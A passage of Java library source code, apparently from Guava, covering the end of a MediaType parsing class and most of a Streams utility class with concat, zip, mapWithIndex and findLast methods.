createApplicationType(String subtype) { return create(APPLICATION_TYPE, subtype); } /** * Creates a media type with the "audio" type and the given subtype. * * @throws IllegalArgumentException if subtype is invalid */ static MediaType createAudioType(String subtype) { return create(AUDIO_TYPE, subtype); } /** * Creates a media type with the "font" type and the given subtype. * * @throws IllegalArgumentException if subtype is invalid */ static MediaType createFontType(String subtype) { return create(FONT_TYPE, subtype); } /** * Creates a media type with the "image" type and the given subtype. * * @throws IllegalArgumentException if subtype is invalid */ static MediaType createImageType(String subtype) { return create(IMAGE_TYPE, subtype); } /** * Creates a media type with the "text" type and the given subtype. * * @throws IllegalArgumentException if subtype is invalid */ static MediaType createTextType(String subtype) { return create(TEXT_TYPE, subtype); } /** * Creates a media type with the "video" type and the given subtype. * * @throws IllegalArgumentException if subtype is invalid */ static MediaType createVideoType(String subtype) { return create(VIDEO_TYPE, subtype); } private static String normalizeToken(String token) { checkArgument(TOKEN_MATCHER.matchesAllOf(token)); checkArgument(!token.isEmpty()); return Ascii.toLowerCase(token); } private static String normalizeParameterValue(String attribute, String value) { checkNotNull(value); // for GWT checkArgument(ascii().matchesAllOf(value), "parameter values must be ASCII: %s", value); return CHARSET_ATTRIBUTE.equals(attribute) ? Ascii.toLowerCase(value) : value; } /** * Parses a media type from its string representation. * * @throws IllegalArgumentException if the input is not parsable */ @CanIgnoreReturnValue // TODO(b/219820829): consider removing public static MediaType parse(String input) { checkNotNull(input); Tokenizer tokenizer = new Tokenizer(input); try { String type = tokenizer.consumeToken(TOKEN_MATCHER); consumeSeparator(tokenizer, '/'); String subtype = tokenizer.consumeToken(TOKEN_MATCHER); ImmutableListMultimap.Builder<String, String> parameters = ImmutableListMultimap.builder(); while (tokenizer.hasMore()) { consumeSeparator(tokenizer, ';'); String attribute = tokenizer.consumeToken(TOKEN_MATCHER); consumeSeparator(tokenizer, '='); String value; if ('"' == tokenizer.previewChar()) { tokenizer.consumeCharacter('"'); StringBuilder valueBuilder = new StringBuilder(); while ('"' != tokenizer.previewChar()) { if ('\\' == tokenizer.previewChar()) { tokenizer.consumeCharacter('\\'); valueBuilder.append(tokenizer.consumeCharacter(ascii())); } else { valueBuilder.append(tokenizer.consumeToken(QUOTED_TEXT_MATCHER)); } } value = valueBuilder.toString(); tokenizer.consumeCharacter('"'); } else { value = tokenizer.consumeToken(TOKEN_MATCHER); } parameters.put(attribute, value); } return create(type, subtype, parameters.build()); } catch (IllegalStateException e) { throw new IllegalArgumentException("Could not parse '" + input + "'", e); } } private static void consumeSeparator(Tokenizer tokenizer, char c) { tokenizer.consumeTokenIfPresent(LINEAR_WHITE_SPACE); tokenizer.consumeCharacter(c); tokenizer.consumeTokenIfPresent(LINEAR_WHITE_SPACE); } private static final class Tokenizer { final String input; int position = 0; Tokenizer(String input) { this.input = input; } @CanIgnoreReturnValue String consumeTokenIfPresent(CharMatcher matcher) { checkState(hasMore()); int startPosition = position; position = matcher.negate().indexIn(input, startPosition); return hasMore() ? input.substring(startPosition, position) : input.substring(startPosition); } String consumeToken(CharMatcher matcher) { int startPosition = position; String token = consumeTokenIfPresent(matcher); checkState(position != startPosition); return token; } char consumeCharacter(CharMatcher matcher) { checkState(hasMore()); char c = previewChar(); checkState(matcher.matches(c)); position++; return c; } @CanIgnoreReturnValue char consumeCharacter(char c) { checkState(hasMore()); checkState(previewChar() == c); position++; return c; } char previewChar() { checkState(hasMore()); return input.charAt(position); } boolean hasMore() { return (position >= 0) && (position < input.length()); } } @Override public boolean equals(@CheckForNull Object obj) { if (obj == this) { return true; } else if (obj instanceof MediaType) { MediaType that = (MediaType) obj; return this.type.equals(that.type) && this.subtype.equals(that.subtype) // compare parameters regardless of order && this.parametersAsMap().equals(that.parametersAsMap()); } else { return false; } } @Override public int hashCode() { // racy single-check idiom int h = hashCode; if (h == 0) { h = Objects.hashCode(type, subtype, parametersAsMap()); hashCode = h; } return h; } private static final MapJoiner PARAMETER_JOINER = Joiner.on("; ").withKeyValueSeparator("="); /** * Returns the string representation of this media type in the format described in <a * href="http://www.ietf.org/rfc/rfc2045.txt">RFC 2045</a>. */ @Override public String toString() { // racy single-check idiom, safe because String is immutable String result = toString; if (result == null) { result = computeToString(); toString = result; } return result; } private String computeToString() { StringBuilder builder = new StringBuilder().append(type).append('/').append(subtype); if (!parameters.isEmpty()) { builder.append("; "); Multimap<String, String> quotedParameters = Multimaps.transformValues( parameters, (String value) -> (TOKEN_MATCHER.matchesAllOf(value) && !value.isEmpty()) ? value : escapeAndQuote(value)); PARAMETER_JOINER.appendTo(builder, quotedParameters.entries()); } return builder.toString(); } private static String escapeAndQuote(String value) { StringBuilder escaped = new StringBuilder(value.length() + 16).append('"'); for (int i = 0; i < value.length(); i++) { char ch = value.charAt(i); if (ch == '\r' || ch == '\\' || ch == '"') { escaped.append('\\'); } escaped.append(ch); } return escaped.append('"').toString(); } }
google/guava
android/guava/src/com/google/common/net/MediaType.java
390
/* * Copyright (C) 2015 The Guava Authors * * Licensed under the Apache License, Version 2.0 (the "License"); you * may not use this file except in compliance with the License. You may * obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or * implied. See the License for the specific language governing * permissions and limitations under the License. */ package com.google.common.collect; import static com.google.common.base.Preconditions.checkNotNull; import static com.google.common.collect.NullnessCasts.uncheckedCastNullableTToT; import static java.lang.Math.min; import static java.util.Objects.requireNonNull; import com.google.common.annotations.Beta; import com.google.common.annotations.GwtCompatible; import com.google.common.math.LongMath; import com.google.errorprone.annotations.InlineMe; import com.google.errorprone.annotations.InlineMeValidationDisabled; import java.util.ArrayDeque; import java.util.Collection; import java.util.Deque; import java.util.Iterator; import java.util.OptionalDouble; import java.util.OptionalInt; import java.util.OptionalLong; import java.util.PrimitiveIterator; import java.util.Spliterator; import java.util.Spliterators; import java.util.Spliterators.AbstractSpliterator; import java.util.function.BiConsumer; import java.util.function.BiFunction; import java.util.function.Consumer; import java.util.function.DoubleConsumer; import java.util.function.IntConsumer; import java.util.function.LongConsumer; import java.util.stream.BaseStream; import java.util.stream.DoubleStream; import java.util.stream.IntStream; import java.util.stream.LongStream; import java.util.stream.Stream; import java.util.stream.StreamSupport; import javax.annotation.CheckForNull; import org.checkerframework.checker.nullness.qual.Nullable; /** * Static utility methods related to {@code Stream} instances. * * @since 21.0 */ @GwtCompatible @ElementTypesAreNonnullByDefault public final class Streams { /** * Returns a sequential {@link Stream} of the contents of {@code iterable}, delegating to {@link * Collection#stream} if possible. */ public static <T extends @Nullable Object> Stream<T> stream(Iterable<T> iterable) { return (iterable instanceof Collection) ? ((Collection<T>) iterable).stream() : StreamSupport.stream(iterable.spliterator(), false); } /** * Returns {@link Collection#stream}. * * @deprecated There is no reason to use this; just invoke {@code collection.stream()} directly. */ @Deprecated @InlineMe(replacement = "collection.stream()") public static <T extends @Nullable Object> Stream<T> stream(Collection<T> collection) { return collection.stream(); } /** * Returns a sequential {@link Stream} of the remaining contents of {@code iterator}. Do not use * {@code iterator} directly after passing it to this method. */ public static <T extends @Nullable Object> Stream<T> stream(Iterator<T> iterator) { return StreamSupport.stream(Spliterators.spliteratorUnknownSize(iterator, 0), false); } /** * If a value is present in {@code optional}, returns a stream containing only that element, * otherwise returns an empty stream. */ public static <T> Stream<T> stream(com.google.common.base.Optional<T> optional) { return optional.isPresent() ? Stream.of(optional.get()) : Stream.empty(); } /** * If a value is present in {@code optional}, returns a stream containing only that element, * otherwise returns an empty stream. * * <p><b>Java 9 users:</b> use {@code optional.stream()} instead. */ @Beta @InlineMe(replacement = "optional.stream()") @InlineMeValidationDisabled("Java 9+ API only") public static <T> Stream<T> stream(java.util.Optional<T> optional) { return optional.isPresent() ? Stream.of(optional.get()) : Stream.empty(); } /** * If a value is present in {@code optional}, returns a stream containing only that element, * otherwise returns an empty stream. * * <p><b>Java 9 users:</b> use {@code optional.stream()} instead. */ @Beta @InlineMe(replacement = "optional.stream()") @InlineMeValidationDisabled("Java 9+ API only") public static IntStream stream(OptionalInt optional) { return optional.isPresent() ? IntStream.of(optional.getAsInt()) : IntStream.empty(); } /** * If a value is present in {@code optional}, returns a stream containing only that element, * otherwise returns an empty stream. * * <p><b>Java 9 users:</b> use {@code optional.stream()} instead. */ @Beta @InlineMe(replacement = "optional.stream()") @InlineMeValidationDisabled("Java 9+ API only") public static LongStream stream(OptionalLong optional) { return optional.isPresent() ? LongStream.of(optional.getAsLong()) : LongStream.empty(); } /** * If a value is present in {@code optional}, returns a stream containing only that element, * otherwise returns an empty stream. * * <p><b>Java 9 users:</b> use {@code optional.stream()} instead. */ @Beta @InlineMe(replacement = "optional.stream()") @InlineMeValidationDisabled("Java 9+ API only") public static DoubleStream stream(OptionalDouble optional) { return optional.isPresent() ? DoubleStream.of(optional.getAsDouble()) : DoubleStream.empty(); } @SuppressWarnings("CatchingUnchecked") // sneaky checked exception private static void closeAll(BaseStream<?, ?>[] toClose) { // If one of the streams throws an exception, continue closing the others, then throw the // exception later. If more than one stream throws an exception, the later ones are added to the // first as suppressed exceptions. We don't catch Error on the grounds that it should be allowed // to propagate immediately. Exception exception = null; for (BaseStream<?, ?> stream : toClose) { try { stream.close(); } catch (Exception e) { // sneaky checked exception if (exception == null) { exception = e; } else { exception.addSuppressed(e); } } } if (exception != null) { // Normally this is a RuntimeException that doesn't need sneakyThrow. // But theoretically we could see sneaky checked exception sneakyThrow(exception); } } /** Throws an undeclared checked exception. */ private static void sneakyThrow(Throwable t) { class SneakyThrower<T extends Throwable> { @SuppressWarnings("unchecked") // not really safe, but that's the point void throwIt(Throwable t) throws T { throw (T) t; } } new SneakyThrower<Error>().throwIt(t); } /** * Returns a {@link Stream} containing the elements of the first stream, followed by the elements * of the second stream, and so on. * * <p>This is equivalent to {@code Stream.of(streams).flatMap(stream -> stream)}, but the returned * stream may perform better. * * @see Stream#concat(Stream, Stream) */ @SuppressWarnings("unchecked") // could probably be avoided with a forwarding Spliterator @SafeVarargs public static <T extends @Nullable Object> Stream<T> concat(Stream<? extends T>... streams) { // TODO(lowasser): consider an implementation that can support SUBSIZED boolean isParallel = false; int characteristics = Spliterator.ORDERED | Spliterator.SIZED | Spliterator.NONNULL; long estimatedSize = 0L; ImmutableList.Builder<Spliterator<? extends T>> splitrsBuilder = new ImmutableList.Builder<>(streams.length); for (Stream<? extends T> stream : streams) { isParallel |= stream.isParallel(); Spliterator<? extends T> splitr = stream.spliterator(); splitrsBuilder.add(splitr); characteristics &= splitr.characteristics(); estimatedSize = LongMath.saturatedAdd(estimatedSize, splitr.estimateSize()); } return StreamSupport.stream( CollectSpliterators.flatMap( splitrsBuilder.build().spliterator(), splitr -> (Spliterator<T>) splitr, characteristics, estimatedSize), isParallel) .onClose(() -> closeAll(streams)); } /** * Returns an {@link IntStream} containing the elements of the first stream, followed by the * elements of the second stream, and so on. * * <p>This is equivalent to {@code Stream.of(streams).flatMapToInt(stream -> stream)}, but the * returned stream may perform better. * * @see IntStream#concat(IntStream, IntStream) */ public static IntStream concat(IntStream... streams) { boolean isParallel = false; int characteristics = Spliterator.ORDERED | Spliterator.SIZED | Spliterator.NONNULL; long estimatedSize = 0L; ImmutableList.Builder<Spliterator.OfInt> splitrsBuilder = new ImmutableList.Builder<>(streams.length); for (IntStream stream : streams) { isParallel |= stream.isParallel(); Spliterator.OfInt splitr = stream.spliterator(); splitrsBuilder.add(splitr); characteristics &= splitr.characteristics(); estimatedSize = LongMath.saturatedAdd(estimatedSize, splitr.estimateSize()); } return StreamSupport.intStream( CollectSpliterators.flatMapToInt( splitrsBuilder.build().spliterator(), splitr -> splitr, characteristics, estimatedSize), isParallel) .onClose(() -> closeAll(streams)); } /** * Returns a {@link LongStream} containing the elements of the first stream, followed by the * elements of the second stream, and so on. * * <p>This is equivalent to {@code Stream.of(streams).flatMapToLong(stream -> stream)}, but the * returned stream may perform better. * * @see LongStream#concat(LongStream, LongStream) */ public static LongStream concat(LongStream... streams) { boolean isParallel = false; int characteristics = Spliterator.ORDERED | Spliterator.SIZED | Spliterator.NONNULL; long estimatedSize = 0L; ImmutableList.Builder<Spliterator.OfLong> splitrsBuilder = new ImmutableList.Builder<>(streams.length); for (LongStream stream : streams) { isParallel |= stream.isParallel(); Spliterator.OfLong splitr = stream.spliterator(); splitrsBuilder.add(splitr); characteristics &= splitr.characteristics(); estimatedSize = LongMath.saturatedAdd(estimatedSize, splitr.estimateSize()); } return StreamSupport.longStream( CollectSpliterators.flatMapToLong( splitrsBuilder.build().spliterator(), splitr -> splitr, characteristics, estimatedSize), isParallel) .onClose(() -> closeAll(streams)); } /** * Returns a {@link DoubleStream} containing the elements of the first stream, followed by the * elements of the second stream, and so on. * * <p>This is equivalent to {@code Stream.of(streams).flatMapToDouble(stream -> stream)}, but the * returned stream may perform better. * * @see DoubleStream#concat(DoubleStream, DoubleStream) */ public static DoubleStream concat(DoubleStream... streams) { boolean isParallel = false; int characteristics = Spliterator.ORDERED | Spliterator.SIZED | Spliterator.NONNULL; long estimatedSize = 0L; ImmutableList.Builder<Spliterator.OfDouble> splitrsBuilder = new ImmutableList.Builder<>(streams.length); for (DoubleStream stream : streams) { isParallel |= stream.isParallel(); Spliterator.OfDouble splitr = stream.spliterator(); splitrsBuilder.add(splitr); characteristics &= splitr.characteristics(); estimatedSize = LongMath.saturatedAdd(estimatedSize, splitr.estimateSize()); } return StreamSupport.doubleStream( CollectSpliterators.flatMapToDouble( splitrsBuilder.build().spliterator(), splitr -> splitr, characteristics, estimatedSize), isParallel) .onClose(() -> closeAll(streams)); } /** * Returns a stream in which each element is the result of passing the corresponding element of * each of {@code streamA} and {@code streamB} to {@code function}. * * <p>For example: * * <pre>{@code * Streams.zip( * Stream.of("foo1", "foo2", "foo3"), * Stream.of("bar1", "bar2"), * (arg1, arg2) -> arg1 + ":" + arg2) * }</pre> * * <p>will return {@code Stream.of("foo1:bar1", "foo2:bar2")}. * * <p>The resulting stream will only be as long as the shorter of the two input streams; if one * stream is longer, its extra elements will be ignored. * * <p>Note that if you are calling {@link Stream#forEach} on the resulting stream, you might want * to consider using {@link #forEachPair} instead of this method. * * <p><b>Performance note:</b> The resulting stream is not <a * href="http://gee.cs.oswego.edu/dl/html/StreamParallelGuidance.html">efficiently splittable</a>. * This may harm parallel performance. */ @Beta public static <A extends @Nullable Object, B extends @Nullable Object, R extends @Nullable Object> Stream<R> zip( Stream<A> streamA, Stream<B> streamB, BiFunction<? super A, ? super B, R> function) { checkNotNull(streamA); checkNotNull(streamB); checkNotNull(function); boolean isParallel = streamA.isParallel() || streamB.isParallel(); // same as Stream.concat Spliterator<A> splitrA = streamA.spliterator(); Spliterator<B> splitrB = streamB.spliterator(); int characteristics = splitrA.characteristics() & splitrB.characteristics() & (Spliterator.SIZED | Spliterator.ORDERED); Iterator<A> itrA = Spliterators.iterator(splitrA); Iterator<B> itrB = Spliterators.iterator(splitrB); return StreamSupport.stream( new AbstractSpliterator<R>( min(splitrA.estimateSize(), splitrB.estimateSize()), characteristics) { @Override public boolean tryAdvance(Consumer<? super R> action) { if (itrA.hasNext() && itrB.hasNext()) { action.accept(function.apply(itrA.next(), itrB.next())); return true; } return false; } }, isParallel) .onClose(streamA::close) .onClose(streamB::close); } /** * Invokes {@code consumer} once for each pair of <i>corresponding</i> elements in {@code streamA} * and {@code streamB}. If one stream is longer than the other, the extra elements are silently * ignored. Elements passed to the consumer are guaranteed to come from the same position in their * respective source streams. For example: * * <pre>{@code * Streams.forEachPair( * Stream.of("foo1", "foo2", "foo3"), * Stream.of("bar1", "bar2"), * (arg1, arg2) -> System.out.println(arg1 + ":" + arg2) * }</pre> * * <p>will print: * * <pre>{@code * foo1:bar1 * foo2:bar2 * }</pre> * * <p><b>Warning:</b> If either supplied stream is a parallel stream, the same correspondence * between elements will be made, but the order in which those pairs of elements are passed to the * consumer is <i>not</i> defined. * * <p>Note that many usages of this method can be replaced with simpler calls to {@link #zip}. * This method behaves equivalently to {@linkplain #zip zipping} the stream elements into * temporary pair objects and then using {@link Stream#forEach} on that stream. * * @since 22.0 */ @Beta public static <A extends @Nullable Object, B extends @Nullable Object> void forEachPair( Stream<A> streamA, Stream<B> streamB, BiConsumer<? super A, ? super B> consumer) { checkNotNull(consumer); if (streamA.isParallel() || streamB.isParallel()) { zip(streamA, streamB, TemporaryPair::new).forEach(pair -> consumer.accept(pair.a, pair.b)); } else { Iterator<A> iterA = streamA.iterator(); Iterator<B> iterB = streamB.iterator(); while (iterA.hasNext() && iterB.hasNext()) { consumer.accept(iterA.next(), iterB.next()); } } } // Use this carefully - it doesn't implement value semantics private static class TemporaryPair<A extends @Nullable Object, B extends @Nullable Object> { @ParametricNullness final A a; @ParametricNullness final B b; TemporaryPair(@ParametricNullness A a, @ParametricNullness B b) { this.a = a; this.b = b; } } /** * Returns a stream consisting of the results of applying the given function to the elements of * {@code stream} and their indices in the stream. For example, * * <pre>{@code * mapWithIndex( * Stream.of("a", "b", "c"), * (e, index) -> index + ":" + e) * }</pre> * * <p>would return {@code Stream.of("0:a", "1:b", "2:c")}. * * <p>The resulting stream is <a * href="http://gee.cs.oswego.edu/dl/html/StreamParallelGuidance.html">efficiently splittable</a> * if and only if {@code stream} was efficiently splittable and its underlying spliterator * reported {@link Spliterator#SUBSIZED}. This is generally the case if the underlying stream * comes from a data structure supporting efficient indexed random access, typically an array or * list. * * <p>The order of the resulting stream is defined if and only if the order of the original stream * was defined. */ public static <T extends @Nullable Object, R extends @Nullable Object> Stream<R> mapWithIndex( Stream<T> stream, FunctionWithIndex<? super T, ? extends R> function) { checkNotNull(stream); checkNotNull(function); boolean isParallel = stream.isParallel(); Spliterator<T> fromSpliterator = stream.spliterator(); if (!fromSpliterator.hasCharacteristics(Spliterator.SUBSIZED)) { Iterator<T> fromIterator = Spliterators.iterator(fromSpliterator); return StreamSupport.stream( new AbstractSpliterator<R>( fromSpliterator.estimateSize(), fromSpliterator.characteristics() & (Spliterator.ORDERED | Spliterator.SIZED)) { long index = 0; @Override public boolean tryAdvance(Consumer<? super R> action) { if (fromIterator.hasNext()) { action.accept(function.apply(fromIterator.next(), index++)); return true; } return false; } }, isParallel) .onClose(stream::close); } class Splitr extends MapWithIndexSpliterator<Spliterator<T>, R, Splitr> implements Consumer<T> { @CheckForNull T holder; Splitr(Spliterator<T> splitr, long index) { super(splitr, index); } @Override public void accept(@ParametricNullness T t) { this.holder = t; } @Override public boolean tryAdvance(Consumer<? super R> action) { if (fromSpliterator.tryAdvance(this)) { try { // The cast is safe because tryAdvance puts a T into `holder`. action.accept(function.apply(uncheckedCastNullableTToT(holder), index++)); return true; } finally { holder = null; } } return false; } @Override Splitr createSplit(Spliterator<T> from, long i) { return new Splitr(from, i); } } return StreamSupport.stream(new Splitr(fromSpliterator, 0), isParallel).onClose(stream::close); } /** * Returns a stream consisting of the results of applying the given function to the elements of * {@code stream} and their indexes in the stream. For example, * * <pre>{@code * mapWithIndex( * IntStream.of(10, 11, 12), * (e, index) -> index + ":" + e) * }</pre> * * <p>...would return {@code Stream.of("0:10", "1:11", "2:12")}. * * <p>The resulting stream is <a * href="http://gee.cs.oswego.edu/dl/html/StreamParallelGuidance.html">efficiently splittable</a> * if and only if {@code stream} was efficiently splittable and its underlying spliterator * reported {@link Spliterator#SUBSIZED}. This is generally the case if the underlying stream * comes from a data structure supporting efficient indexed random access, typically an array or * list. * * <p>The order of the resulting stream is defined if and only if the order of the original stream * was defined. */ public static <R extends @Nullable Object> Stream<R> mapWithIndex( IntStream stream, IntFunctionWithIndex<R> function) { checkNotNull(stream); checkNotNull(function); boolean isParallel = stream.isParallel(); Spliterator.OfInt fromSpliterator = stream.spliterator(); if (!fromSpliterator.hasCharacteristics(Spliterator.SUBSIZED)) { PrimitiveIterator.OfInt fromIterator = Spliterators.iterator(fromSpliterator); return StreamSupport.stream( new AbstractSpliterator<R>( fromSpliterator.estimateSize(), fromSpliterator.characteristics() & (Spliterator.ORDERED | Spliterator.SIZED)) { long index = 0; @Override public boolean tryAdvance(Consumer<? super R> action) { if (fromIterator.hasNext()) { action.accept(function.apply(fromIterator.nextInt(), index++)); return true; } return false; } }, isParallel) .onClose(stream::close); } class Splitr extends MapWithIndexSpliterator<Spliterator.OfInt, R, Splitr> implements IntConsumer, Spliterator<R> { int holder; Splitr(Spliterator.OfInt splitr, long index) { super(splitr, index); } @Override public void accept(int t) { this.holder = t; } @Override public boolean tryAdvance(Consumer<? super R> action) { if (fromSpliterator.tryAdvance(this)) { action.accept(function.apply(holder, index++)); return true; } return false; } @Override Splitr createSplit(Spliterator.OfInt from, long i) { return new Splitr(from, i); } } return StreamSupport.stream(new Splitr(fromSpliterator, 0), isParallel).onClose(stream::close); } /** * Returns a stream consisting of the results of applying the given function to the elements of * {@code stream} and their indexes in the stream. For example, * * <pre>{@code * mapWithIndex( * LongStream.of(10, 11, 12), * (e, index) -> index + ":" + e) * }</pre> * * <p>...would return {@code Stream.of("0:10", "1:11", "2:12")}. * * <p>The resulting stream is <a * href="http://gee.cs.oswego.edu/dl/html/StreamParallelGuidance.html">efficiently splittable</a> * if and only if {@code stream} was efficiently splittable and its underlying spliterator * reported {@link Spliterator#SUBSIZED}. This is generally the case if the underlying stream * comes from a data structure supporting efficient indexed random access, typically an array or * list. * * <p>The order of the resulting stream is defined if and only if the order of the original stream * was defined. */ public static <R extends @Nullable Object> Stream<R> mapWithIndex( LongStream stream, LongFunctionWithIndex<R> function) { checkNotNull(stream); checkNotNull(function); boolean isParallel = stream.isParallel(); Spliterator.OfLong fromSpliterator = stream.spliterator(); if (!fromSpliterator.hasCharacteristics(Spliterator.SUBSIZED)) { PrimitiveIterator.OfLong fromIterator = Spliterators.iterator(fromSpliterator); return StreamSupport.stream( new AbstractSpliterator<R>( fromSpliterator.estimateSize(), fromSpliterator.characteristics() & (Spliterator.ORDERED | Spliterator.SIZED)) { long index = 0; @Override public boolean tryAdvance(Consumer<? super R> action) { if (fromIterator.hasNext()) { action.accept(function.apply(fromIterator.nextLong(), index++)); return true; } return false; } }, isParallel) .onClose(stream::close); } class Splitr extends MapWithIndexSpliterator<Spliterator.OfLong, R, Splitr> implements LongConsumer, Spliterator<R> { long holder; Splitr(Spliterator.OfLong splitr, long index) { super(splitr, index); } @Override public void accept(long t) { this.holder = t; } @Override public boolean tryAdvance(Consumer<? super R> action) { if (fromSpliterator.tryAdvance(this)) { action.accept(function.apply(holder, index++)); return true; } return false; } @Override Splitr createSplit(Spliterator.OfLong from, long i) { return new Splitr(from, i); } } return StreamSupport.stream(new Splitr(fromSpliterator, 0), isParallel).onClose(stream::close); } /** * Returns a stream consisting of the results of applying the given function to the elements of * {@code stream} and their indexes in the stream. For example, * * <pre>{@code * mapWithIndex( * DoubleStream.of(0.0, 1.0, 2.0) * (e, index) -> index + ":" + e) * }</pre> * * <p>...would return {@code Stream.of("0:0.0", "1:1.0", "2:2.0")}. * * <p>The resulting stream is <a * href="http://gee.cs.oswego.edu/dl/html/StreamParallelGuidance.html">efficiently splittable</a> * if and only if {@code stream} was efficiently splittable and its underlying spliterator * reported {@link Spliterator#SUBSIZED}. This is generally the case if the underlying stream * comes from a data structure supporting efficient indexed random access, typically an array or * list. * * <p>The order of the resulting stream is defined if and only if the order of the original stream * was defined. */ public static <R extends @Nullable Object> Stream<R> mapWithIndex( DoubleStream stream, DoubleFunctionWithIndex<R> function) { checkNotNull(stream); checkNotNull(function); boolean isParallel = stream.isParallel(); Spliterator.OfDouble fromSpliterator = stream.spliterator(); if (!fromSpliterator.hasCharacteristics(Spliterator.SUBSIZED)) { PrimitiveIterator.OfDouble fromIterator = Spliterators.iterator(fromSpliterator); return StreamSupport.stream( new AbstractSpliterator<R>( fromSpliterator.estimateSize(), fromSpliterator.characteristics() & (Spliterator.ORDERED | Spliterator.SIZED)) { long index = 0; @Override public boolean tryAdvance(Consumer<? super R> action) { if (fromIterator.hasNext()) { action.accept(function.apply(fromIterator.nextDouble(), index++)); return true; } return false; } }, isParallel) .onClose(stream::close); } class Splitr extends MapWithIndexSpliterator<Spliterator.OfDouble, R, Splitr> implements DoubleConsumer, Spliterator<R> { double holder; Splitr(Spliterator.OfDouble splitr, long index) { super(splitr, index); } @Override public void accept(double t) { this.holder = t; } @Override public boolean tryAdvance(Consumer<? super R> action) { if (fromSpliterator.tryAdvance(this)) { action.accept(function.apply(holder, index++)); return true; } return false; } @Override Splitr createSplit(Spliterator.OfDouble from, long i) { return new Splitr(from, i); } } return StreamSupport.stream(new Splitr(fromSpliterator, 0), isParallel).onClose(stream::close); } /** * An analogue of {@link java.util.function.Function} also accepting an index. * * <p>This interface is only intended for use by callers of {@link #mapWithIndex(Stream, * FunctionWithIndex)}. * * @since 21.0 */ public interface FunctionWithIndex<T extends @Nullable Object, R extends @Nullable Object> { /** Applies this function to the given argument and its index within a stream. */ @ParametricNullness R apply(@ParametricNullness T from, long index); } private abstract static class MapWithIndexSpliterator< F extends Spliterator<?>, R extends @Nullable Object, S extends MapWithIndexSpliterator<F, R, S>> implements Spliterator<R> { final F fromSpliterator; long index; MapWithIndexSpliterator(F fromSpliterator, long index) { this.fromSpliterator = fromSpliterator; this.index = index; } abstract S createSplit(F from, long i); @Override @CheckForNull public S trySplit() { Spliterator<?> splitOrNull = fromSpliterator.trySplit(); if (splitOrNull == null) { return null; } @SuppressWarnings("unchecked") F split = (F) splitOrNull; S result = createSplit(split, index); this.index += split.getExactSizeIfKnown(); return result; } @Override public long estimateSize() { return fromSpliterator.estimateSize(); } @Override public int characteristics() { return fromSpliterator.characteristics() & (Spliterator.ORDERED | Spliterator.SIZED | Spliterator.SUBSIZED); } } /** * An analogue of {@link java.util.function.IntFunction} also accepting an index. * * <p>This interface is only intended for use by callers of {@link #mapWithIndex(IntStream, * IntFunctionWithIndex)}. * * @since 21.0 */ public interface IntFunctionWithIndex<R extends @Nullable Object> { /** Applies this function to the given argument and its index within a stream. */ @ParametricNullness R apply(int from, long index); } /** * An analogue of {@link java.util.function.LongFunction} also accepting an index. * * <p>This interface is only intended for use by callers of {@link #mapWithIndex(LongStream, * LongFunctionWithIndex)}. * * @since 21.0 */ public interface LongFunctionWithIndex<R extends @Nullable Object> { /** Applies this function to the given argument and its index within a stream. */ @ParametricNullness R apply(long from, long index); } /** * An analogue of {@link java.util.function.DoubleFunction} also accepting an index. * * <p>This interface is only intended for use by callers of {@link #mapWithIndex(DoubleStream, * DoubleFunctionWithIndex)}. * * @since 21.0 */ public interface DoubleFunctionWithIndex<R extends @Nullable Object> { /** Applies this function to the given argument and its index within a stream. */ @ParametricNullness R apply(double from, long index); } /** * Returns the last element of the specified stream, or {@link java.util.Optional#empty} if the * stream is empty. * * <p>Equivalent to {@code stream.reduce((a, b) -> b)}, but may perform significantly better. This * method's runtime will be between O(log n) and O(n), performing better on <a * href="http://gee.cs.oswego.edu/dl/html/StreamParallelGuidance.html">efficiently splittable</a> * streams. * * <p>If the stream has nondeterministic order, this has equivalent semantics to {@link * Stream#findAny} (which you might as well use). * * @see Stream#findFirst() * @throws NullPointerException if the last element of the stream is null */ /* * By declaring <T> instead of <T extends @Nullable Object>, we declare this method as requiring a * stream whose elements are non-null. However, the method goes out of its way to still handle * nulls in the stream. This means that the method can safely be used with a stream that contains * nulls as long as the *last* element is *not* null. * * (To "go out of its way," the method tracks a `set` bit so that it can distinguish "the final * split has a last element of null, so throw NPE" from "the final split was empty, so look for an * element in the prior one.") */ public static <T> java.util.Optional<T> findLast(Stream<T> stream) { class OptionalState { boolean set = false; @CheckForNull T value = null; void set(T value) { this.set = true; this.value = value; } T get() { /* * requireNonNull is safe because we call get() only if we've previously called set(). * * (For further discussion of nullness, see the comment above the method.) */ return requireNonNull(value); } } OptionalState state = new OptionalState(); Deque<Spliterator<T>> splits = new ArrayDeque<>(); splits.addLast(stream.spliterator()); while (!splits.isEmpty()) { Spliterator<T> spliterator = splits.removeLast(); if (spliterator.getExactSizeIfKnown() == 0) { continue; // drop this split } // Many spliterators will have trySplits that are SUBSIZED even if they are not themselves // SUBSIZED. if (spliterator.hasCharacteristics(Spliterator.SUBSIZED)) { // we can drill down to exactly the smallest nonempty spliterator while (true) { Spliterator<T> prefix = spliterator.trySplit(); if (prefix == null || prefix.getExactSizeIfKnown() == 0) { break; } else if (spliterator.getExactSizeIfKnown() == 0) { spliterator = prefix; break; } } // spliterator is known to be nonempty now spliterator.forEachRemaining(state::set); return java.util.Optional.of(state.get()); } Spliterator<T> prefix = spliterator.trySplit(); if (prefix == null || prefix.getExactSizeIfKnown() == 0) { // we can't split this any further spliterator.forEachRemaining(state::set); if (state.set) { return java.util.Optional.of(state.get()); } // fall back to the last split continue; } splits.addLast(prefix); splits.addLast(spliterator); } return java.util.Optional.empty(); } /** * Returns the last element of the specified stream, or {@link OptionalInt#empty} if the stream is * empty. * * <p>Equivalent to {@code stream.reduce((a, b) -> b)}, but may perform significantly better. This * method's runtime will be between O(log n) and O(n), performing better on <a * href="http://gee.cs.oswego.edu/dl/html/StreamParallelGuidance.html">efficiently splittable</a> * streams. * * @see IntStream#findFirst() * @throws NullPointerException if the last element of the stream is null */ public static OptionalInt findLast(IntStream stream) { // findLast(Stream) does some allocation, so we might as well box some more java.util.Optional<Integer> boxedLast = findLast(stream.boxed()); return boxedLast.map(OptionalInt::of).orElse(OptionalInt.empty()); } /** * Returns the last element of the specified stream, or {@link OptionalLong#empty} if the stream * is empty. * * <p>Equivalent to {@code stream.reduce((a, b) -> b)}, but may perform significantly better. This * method's runtime will be between O(log n) and O(n), performing better on <a * href="http://gee.cs.oswego.edu/dl/html/StreamParallelGuidance.html">efficiently splittable</a> * streams. * * @see LongStream#findFirst() * 